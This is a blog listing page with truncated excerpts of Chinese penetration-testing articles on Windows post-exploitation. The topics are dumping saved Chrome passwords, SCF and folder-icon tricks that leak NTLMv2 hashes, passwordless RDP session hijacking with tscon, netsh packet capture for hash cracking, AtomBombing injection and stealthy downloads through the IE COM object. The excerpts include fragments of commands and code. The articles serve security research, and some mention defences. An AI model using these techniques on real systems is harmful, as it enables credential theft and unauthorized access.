Good in study, attitude and health

  • 渗透技巧——Windows下剪贴板的利用

    0x00 前言 在Windows系统下,剪贴板是一个常见的功能,这其中有哪些可被利用的地方呢?本文将尝试整理这部分内容 0x01 简介 本文将要介绍以下内容: 写入剪贴板的方法 读取剪贴板的方法 利用思路 0x02 剪贴板简介 剪贴板是指windows操作系统提供的一个暂存数据和共享数据的模块,可理解为数据中转站 剪贴板的内容保存在内存中,所以系统重启后,保存的数据丢失 XP系统支持剪贴板查看器clipbrd.exe(Win7后移除),可查看剪贴板内容 剪贴板查看器clipbrd.exe不需要安装,可直接在其他系统(例如Win7)下使用 复制数据后,在剪贴板查看器clipbrd.exe中实时显示复制的内容,如下图 0x03 写入剪贴板的方法 1、Ctrl+C 复制数据,或者通过快捷键Ctrl+C,数据保存到剪贴板中 2、cmd下的方法 将whoami输出的内容复制到剪贴板上: whoami|clip 如下图 将11.txt的内容复制到剪贴板上: clip<11.txt 如下图 3、程序调用API实现 c++测试代码如下: #include <windows.h> BOOL CopyToClipboard(char* pszData) { if(::OpenClipboard(NULL)) { ::EmptyClipboard(); HGLOBAL clipbuffer; char *buffer; clipbuffer = ::GlobalAlloc(GMEM_DDESHARE, strlen(pszData)+1); buffer = (char *)::GlobalLock(clipbuffer);...

  • 渗透基础——获得当前系统已安装的程序列表

    0x00 前言 最近遇到了一个有趣的问题: 我在尝试使用wmi获取当前系统已安装的程序列表时,并不能获得完整的列表。于是做了进一步研究,找出错误原因,改变思路,完成目标。 本文是一篇介绍基础知识的文章,用来解决基本的问题。 0x01 简介 本文将要介绍以下内容: 通过wmi获取当前系统已安装的程序列表 wmi查询结果不完整的原因 获取完整程序列表的实现思路 0x02 获取当前系统已安装的程序列表 1、使用powershell调用wmi 代码如下: Get-WmiObject -class Win32_Product 对输出结果进行过滤,只显示程序名称,代码如下: Get-WmiObject -class Win32_Product |Select-Object -Property name 获得结果如下图 2、使用wmic调用wmi 代码如下: wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product 对输出结果进行过滤,只显示程序名称,代码如下: wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product get name /FORMAT:table 获得结果如下图 3、使用WMI Explorer调用wmi 下载地址: https://wmie.codeplex.com/releases/view/135794 界面化的WMI查询工具,可用来查询wmi支持的类,是研究wmi的好工具 首先点击Connect连接本机 选中ROOT\CIMV2 -> Query...

  • 渗透技巧——离线导出Chrome浏览器中保存的密码

    0x00 前言 在上篇文章《渗透技巧——导出Chrome浏览器中保存的密码》介绍了导出Chrome浏览器密码的原理和利用方法,文末留下一个问题: 如果只获得了用户的ntlm hash,能否导出Chrome浏览器保存的明文密码呢? 该部分的参考资料较少,而想要解答这个问题,需要了解加解密的原理,所以本文尝试对该部分内容做介绍,得出最终结论 0x01 简介 本文将要介绍以下内容: DPAPI简介及相关概念 DPAPI加解密流程 离线导出原理 离线导出方法 得出最终结论 0x02 DPAPI简介 本节内容参考自如下链接,加入个人理解: https://msdn.microsoft.com/en-us/library/ms995355.aspx https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 DPAPI全称Data Protection Application Programming Interface 作为Windows系统的一个数据保护接口被广泛使用 主要用于保护加密的数据,常见的应用如: EFS文件加密 存储无线连接密码 Windows Credential Manager Internet Explorer Outlook Skype Windows CardSpace Windows Vault Google Chrome 使用简单,加密使用函数CryptProtectData,解密使用函数CryptUnprotectData即可,系统在后台自动完成其他复杂的加解密操作 CryptProtectData的说明可参考: https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx CryptUnprotectData的说明可参考: https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx 专有名词 DPAPI blob: 一段密文,可使用Master...

  • 渗透技巧——导出Chrome浏览器中保存的密码

    0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。对于Windows系统,用户浏览器往往包含有价值的信息。 在之前的文章《本地密码查看工具LaZagne中的自定义脚本开发》曾介绍过利用LaZagne导出多个浏览器密码的方法。 本文将要针对Chrome浏览器,介绍具体的导出原理和利用方法,解决一个实际问题: 如何导出另一系统下Chrome浏览器中保存的密码? 0x01 简介 本文将要介绍以下内容: Chrome浏览器保存密码的方式 如何导出Chrome浏览器中保存的密码 常用方法的限制 如何导出另一系统下Chrome浏览器中保存的密码 0x02 Chrome浏览器保存密码的方式 正常用户在访问网站时,可选择使用Chrome浏览器保存登录的用户密码,用于下次登录的时候Chrome自动填写登录密码,如下图 在Chrome中可以查看保存的登录密码(需要提供用户口令),如下图 Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下: %LocalAppData%\Google\Chrome\User Data\Default\Login Data 实际测试: 测试系统: Win7x86 Chrome版本: 63.0.3239.132 定位SQLite数据库文件,位于C:\Users\a\AppData\Local\Google\Chrome\User Data\Default\Login Data 使用工具读取数据库文件,测试工具: SQLiteStudio 下载地址: https://sqlitestudio.pl/index.rvt 注: SQLiteStudio开源,特点是支持查看十六进制数据(SQLiteSpy不支持查看十六进制数据) 成功读取数据库文件保存的信息,但password段无法显示,如下图 选择Form view,查看十六进制格式,获得二次加密后的用户密码,如下图 注: 如果Chrome正在运行,无法使用SQLiteStudio打开数据库文件Login Data,可将该文件复制后再打开 0x03 导出Chrome浏览器中保存的密码 首先,编写程序实现读取SQLite数据库文件,这里选择使用python实现 开源代码很多,所以这里只给出一个示例 from os import getenv import...

  • 渗透技巧——利用图标文件获取连接文件服务器的NTLMv2 Hash

    0x00 前言 在文章《渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash》介绍了在服务器上通过Windows命令行抓包获取连接文件服务器的NTLMv2 Hash的方法,解决了一个有趣的问题: 如果获得了内网一个文件服务器的权限,如何获得更多用户的口令? 本文将换一种实现方式,通过修改文件服务器上的图标文件,强制用户访问伪造的文件服务器,在伪造的文件服务器上抓包获取连接文件服务器的NTLMv2 Hash。 0x01 简介 本文将要介绍以下内容: 添加scf文件强制用户访问伪造的文件服务器 修改文件夹图标强制用户访问伪造的文件服务器 文件夹图标后门 防御思路 0x02 实现思路 利用SMB协议的特性,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录 在用户访问文件服务器时,如果我们能够欺骗用户访问伪造的文件服务器,并在伪造的文件服务器上抓包,那么就能获得用户本机的NTLMv2 Hash 所以关键是如何欺骗用户访问伪造的文件服务器,同时又保证隐蔽 欺骗用户访问伪造的文件服务器的方法有多种(钓鱼方式暂略),那么有没有当用户打开文件共享时,自动访问伪造文件服务器的方法呢?当然是有的,接下来主要介绍两种实现方式 0x03 添加scf文件强制用户访问伪造的文件服务器 其他文章对该方法已经有过介绍,参考资料: https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ https://xianzhi.aliyun.com/forum/topic/1624 这里简要介绍一下原理 scf文件: SCF文件是”WINDOWS资源管理器命令”文件,是一种可执行文件,该类型文件由Windows Explorer Command解释,标准安装 包含三种类型: Explorer.scf(资源管理器) Show Desktop.scf(显示桌面) View Channels.scf(查看频道) 格式示例: [Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=ToggleDesktop IconFile属性支持UNC路径,也就是说,可以指定文件服务器上的某个文件,例如IconFile=\\192.168.62.130\test\explorer.exe,3 特别的地方: 使用Explore.exe打开包含该文件的路径时,由于scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标,如果图标位于文件服务器,就会访问该文件服务器 直观理解: 打开某一文件夹,该文件夹下面包含scf文件,scf文件的IconFile属性指向文件服务器,本机会自动访问该文件服务器,在访问过程中,默认先使用本机的用户名和密码hash尝试登录。如果文件服务器抓取数据包,就能够获得NTLMv2 Hash...

  • 渗透技巧——利用tscon实现未授权登录远程桌面

    0x00 前言 Windows系统下,tscon可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。 这会造成什么影响呢?这个方法能用在哪种条件下呢?结合利用方法又该如何防御呢?本文将要一一介绍 注: 本文使用tscon未授权登录的思路借鉴于如下链接: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 0x01 简介 本文将要介绍以下内容: tscon的正常用法 利用tscon实现未授权登录远程桌面的方法 应用实例 防御建议 0x02 tscon的正常用法 对于开启远程桌面服务的Windows系统,当有多个用户登录该系统时,会产生多个会话,如下图 测试系统: Server2012 R2 用户Administrator为本地登录 用户b为通过远程桌面服务(RDP)连接3389端口远程登录 接下来,如果用户Administrator想要切换至用户b的远程桌面,可通过右键-Connect进行连接,接着输入密码即可 如下图 tscon是命令行下使用的工具,可实现相同的功能 首先获取用户对应的sessionid,执行如下命令: query user 输出如下图 用户b对应的sessionid为2 通过tscon切换至用户b的桌面,命令如下: tscon 2 /PASSWORD:test123! 0x03 利用tscon实现未授权登录远程桌面的方法 在System权限执行同样的命令,就能够绕过输入密码的过程,直接切换 从Admin权限切换到System权限的方法在之前的文章《渗透技巧——从Admin权限切换到System权限》有过详细介绍,常用方法有如下三种: 通过创建服务获得System权限 利用MSIExec获得System权限 利用token复制获得System权限 选取其中的一种,获得system权限,接着输入如下命令: tscon 2 成功登录 0x04 应用实例一 对于Server2012 R2系统,默认情况下,通过mimikatz无法导出明文口令,测试环境下,通过某些方法获得了服务器的一个用户名密码,可以通过远程桌面进行登录 登录后发现后台存在另一用户...

  • 渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash

    0x00 前言 在上篇文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》比较了NTLM hash和Net-NTLM hash的区别,本文将继续对Net-NTLM hash在内网渗透中的应用作介绍,解决一个有趣的问题: 如果获得了内网一个文件服务器的权限,如何获得更多用户的口令? 0x01 简介 本文将要介绍以下内容: 在windows平台下不安装任何第三方依赖库来进行网络抓包的方法 将数据包转换成pcap格式 使用Wireshark对数据包进行分析 编写Python提取出NTLMv2 Hash 使用Hashcat对Hash进行破解 0x02 解决思路 《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》中提到,客户端在连接文件服务器时,默认会将当前登录用户的密码Hash发送至服务器进行验证,如果验证失败,需要重新输入登录用户名和口令 如果获得了内网一个文件服务器的权限,那么内网中的其他主机在使用界面尝试访问该服务器时,首先会将本机的密码Hash发送至服务器进行验证,在服务器端抓取数据包能够获得NTLM Response,对NTLM Response的格式进行解析,提取特定信息,使用Hashcat尝试字典破解或者暴力破解,就有可能还原出用户本机的明文口令 所以,接下来需要解决第一个问题: 如何在文件服务器上抓取数据包? 0x03 Windows平台下进行网络抓包的方法 最常用的方法当然是安装Wireshark,但如果能找到一种不安装任何第三方依赖库、系统自带、直接用来抓包的方法岂不是更好? 方法当然是有的。 通过Windows系统自带的netsh中的trace功能能够实现不安装任何第三方依赖库,在命令行下进行抓包 支持Win7、Server2008R2及以后的系统,但不支持Server2008 官方说明文档: https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx 注: netsh trace需要管理员权限 使用方法: 1.开启记录功能 netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp...

  • Windows下的密码hash——NTLM hash和Net-NTLM hash介绍

    0x00 前言 在Windows系统中,比较常见是从系统导出来的NTLM hash,通过Hashcat能够破解出明文密码。 Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。 NetNTLM具体是什么呢?又是如何获得的呢?本文受到byt3bl33d3r文章的启发,下面将结合自己的心得,介绍这部分内容 学习链接: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html 0x01 简介 NTLM hash和Net-NTLM hash区别 NTLM hash的加密方法 Net-NTLM hash的破解 0x02 NTLM hash 通常是指Windows系统下Security Account Manager中保存的用户密码hash 该hash的生成方法: 将明文口令转换成十六进制的格式 转换成Unicode格式,即在每个字节之后添加0x00 对Unicode字符串作MD4加密,生成32位的十六进制数字串 实际测试: 用户密码为test123 转换成十六进制的格式为74657374313233 转换成Unicode格式为7400650073007400310032003300 对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1 注: MD4加密可使用工具HashCalc,如下图 下面使用mimikatz导出用户密码的hash,对比进行验证,结果相同,验证成功,如下图 在渗透测试中,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash,通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM hash 补充: Windows Vista和Windows Server 2008以前的系统还会使用LM hash LM hash的生成方法本文暂不介绍 自Windows Vista和Windows Server 2008开始,Windows取消LM...

  • AtomBombing利用分析

    0x00 前言 2016年10月,网络安全公司EnSilo的研究团队公开了一个支持所有Windows系统的代码注入方法,将其命名为AtomBombing。据说该方法能够绕过大多数的安全软件,并且利用的系统缺陷很难被修复。 于是,本文将要根据开源代码和资料,学习原理,测试功能,分析利用思路,总结防御方法 学习资料: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows 作者:Tal Liberman POC: https://github.com/BreakingMalwareResearch/atom-bombing/ 0x01 简介 本文将要介绍以下内容: AtomBombing实现方法 关键技术 防御思路 0x02 基础知识 1、Atom Table 是一个存储字符串和相应标识符的系统定义表 应用程序将一个字符串放入一个Atom表中,并接收一个16位整数(WORD)作为标识(称为Atom),可通过该标识访问字符串内容,实现进程间的数据交换 分类: (1) Global Atom Table 所有应用程序可用 当一个进程将一个字符串保存到Global Atom Table时,系统生成一个在系统范围内唯一的atom,来标示该字符串。在系统范围之内所有的进程都可以通过该atom(索引)来获得这个字符串,从而实现进程间的数据交换 (2) Local Atom Table 只有当前程序可用,相当于定义一个全局变量,如果程序多次使用该变量,使用Local Atom Table仅需要一次内存操作 参考资料: https://msdn.microsoft.com/en-us/library/ms649053 常用API: 添加一个Global Atom: ATOM WINAPI GlobalAddAtom(_In_ LPCTSTR lpString); 删除一个Global Atom:...

  • 渗透技巧——模拟IE浏览器下载文件

    0x00 前言 在之前的文章《渗透技巧——从github下载文件的多种方法》介绍了通过cmd从github下载文件的多种方法,选出最短的实现代码(长度为25)。 本文将站在另一角度,介绍Windows系统下模拟IE浏览器实现文件下载的方法。 模拟IE浏览器实现文件下载不仅能够绕过白名单程序的拦截,而且能在一定程度上隐藏下载行为。所以本文将站在利用的角度介绍具体的利用方法,结合利用方法总结防御思路。 0x01 简介 本文将要介绍以下内容: 模拟IE浏览器实现文件下载的多种方法 分析优缺点 总结防御思路 0x02 实现方法 由于方法众多,所以本文做了一个简单分类,整体上分为主动和被动两种模式。 主动模式代表通过命令主动实现文件下载,被动模式代表劫持用户行为,在用户打开IE时实现文件下载 其中,主动模式也要做一个区分,分为当前后台进程是否有IE浏览器进程iexplore.exe 具体方法如下: 1、主动模式 (1) 后台无IE进程 a) 调用IE COM对象 参考链接: https://adapt-and-attack.com/2017/12/19/internetexplorer-application-for-c2/ 通过COM对象InternetExplorer.Application实现文件下载,后台进程为iexplore.exe powershell代码如下: $ie_com = New-Object -ComObject InternetExplorer.Application $ie_com.Silent = $True $ie_com.Visible = $False $Headers = "Host: <SNIP>.cloudfront.net`r`n" $ie_com.Navigate2("http://192.168.62.131/index.html", 14, 0, $Null, $Headers) while($ie_com.busy -eq $true)...